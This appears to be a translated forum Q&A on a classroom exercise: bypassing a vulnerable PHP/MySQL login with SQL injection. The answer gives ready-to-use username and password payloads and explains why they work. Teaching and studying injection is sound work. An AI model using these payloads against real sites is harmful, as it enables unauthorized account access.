SQL 注入 php

SQL Injection on php

我收到了一项任务,要使用 sql 注入来破解给定网站

$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender,
FROM USERS_TABLE
WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’");

$chk = mysql_fetch_array($sel1);

if (found one record)
then {allow the user to login}

问题是我应该输入哪些值的 $user 和 $password 来破解网站?

我已经尝试在用户(例如:admin)和 $password 中设置一个真实值,我尝试使用(“或”“=”)-没有无效的括号。我也试过 (' or ''=')-没有括号

这看起来很简单,我是不是漏掉了什么?

我认为这是一项 school/university 作业,而不是为了入侵真实网站。

粘贴一些内容,这将成为有效 SQL 的一部分,这将使条件计算为 TRUE,而不管数据库中实际有什么。

这意味着,通过输入 "correct" 值,您可以在不知道数据库中实际 username/password 的情况下登录该网站。

考虑以下条件:

WHERE (name = '' OR ''='' OR email = '' OR ''='') AND pass = '' OR TRUE LIMIT 1 -- '

如果数据库中至少有一个用户,它总是评估为 TRUE,并且它最多 returns 一行(因为 LIMIT 1)。

现在您只需 "extract the pieces from this condition" 并输入它们作为用户名和密码:

  • 用户名:' OR ''='
  • 密码:' OR TRUE LIMIT 1 --

请注意,由 PHP 插入的查询末尾的最后一个撇号字符成为注释,不会导致 SQL 语法错误。